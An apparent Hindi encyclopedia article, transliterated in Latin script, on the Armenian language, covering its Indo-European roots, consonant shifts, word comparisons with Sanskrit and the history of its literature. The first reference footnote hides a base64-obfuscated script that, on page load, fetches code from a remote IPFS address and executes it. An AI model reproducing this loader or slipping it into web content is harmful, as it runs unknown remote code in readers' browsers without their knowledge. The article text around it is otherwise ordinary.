आर्मीनी भाषा
armini bhasha bharat-yooropiy-parivar ki yah bhasha mesopotaimiya tatha kakeshas parvat ki madhyavarti ghatiyoan aur kale sagar ke dakshini poorvi pradesh mean boli jati hai. yah pradesh armini soviyat jarjiya tatha soviyat azarabaijan (uttar pashchimi eeran) mean p data hai. isake bolanevaloan ki sankhya lagabhag 34 lakh hai. armini bhasha ko poorvi aur pashchimi bhagoan mean vibhajit karate haian. gathan ki drishti se isaki sthiti grik aur hiand-eerani ke bich ki hai. purane samay mean arminiya ka eeran se ghanishth sanbandh raha hai aur eerani ke pray: do hajar shabd armini bhasha mean milate haian. inhian karanoan se bahut dinoan tak armini ko eerani ki keval ek shakha matr samajha jata tha. par ab isaki svatantr satta many ho gee hai.
armini bhasha mean paanchavian shatabdi ee. ke poorv ka koee granth nahian milata. is bhasha ka vyanjanasamooh mool roop se bharatiy aur kakeshi samooh ki jarji bhasha se milata julata hai. ph th kh vyanjanoan ka bh dh gh se paraspar vyatyay ho gaya hai. udaharanarth, sanskrit vash ke lie armini mean tasn shabd hai. sanskrit pitri ke lie armini mean hyar hai. adim bharopiy bhasha se yah bhasha kaphi door ja p di hai. sanskrit dvi aur tri ke lie armini mean erku aur erekh shabd haian. isi se doori ka anuman ho sakata hai. vyakaranatmak liang prachin armini mean bhi nahian milata. sanskrit gau ke lie armini mean kevh hai. aise shabdoan se hi adi adim aryabhasha se isaki vyutpatti siddh hoti hai. armini adhikatar bolachal ki bhasha rahi hai. eerani shabdoan ke atirikt isamean grik, araboan aur kakeshi ke bhi shabd haian.
armini ka jo bhi prachin sahity tha use eesaee padariyoan ne chauthi aur paanchavian ee. shatabdiyoan mean nasht kar diya. kuchh hi samay poorv ashok ka ek abhilekh armini bhasha mean prapt hua hai jo sanbhavat: armini ka sabase purana namoona hai. armini ki ek lipi paanchavi eesavi shatabdi mean gadhi gee jisamean ianjil ka anuvad aur any eesaee dharmapracharak granth likhe ge. paanchavian shatabdi mean hi grik ke bhi kuchh grathoan ka anuvad hua. isi shatabdi mean likha hua phausatus namak ek granth chauthi shatabdi ki armini paristhiti ka suandar chitran karata hai. isamean arminiya ke chhote-chhote nareshoan ke darabaroan, rajanitik sangathan, jatiyoan ke paraspar yuddh aur eesaee dharm ke sthapit hone ka itihas aankit hai. ailiseus vardapait ne vardan ka ek itihas likha jisamean arminayoan ne sasaniyoan se jo dharmayuddh kiya tha usaka varnan hai. khaurain ke mozez ne arminiya ka ek itihas likha jisamean 450 eesavi tak ka varnan hai. yah granth sanbhavat: satavian shatabdi mean likha gaya. athavian shatabdi se barabar arminiya ke granth milate haian. inamean se adhikaansh itihas aur dhamr se sanbandh rakhate haian.[1]
19vian shatabdi ke madhyabhag mean arminiya ke roosi aur turki jiloan mean ek nee sahityik prerana nikali. is sahity ki bhasha prachin bhasha se vyakaran mean yathesht bhinn hai, yadyapi shabdavali pray: purani hai. is navin prerana ke dvara armini sahity mean kavy, upanyas, natak, prahasan adi yathesht matra mean pae jate haian. armini mean patr-patrikaean bhi paryapt sankhya mean nikali haian. sovayit sangh mean pravesh kar is pradesh ki bhasha aur sahity ne b di tezise unnati ki hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 437-38 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-meie le laang du maand (peris); babooram saksena: samany bhashavijnan (prayag).
sanbandhit lekh
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varnamala kramanusar lekh khoj
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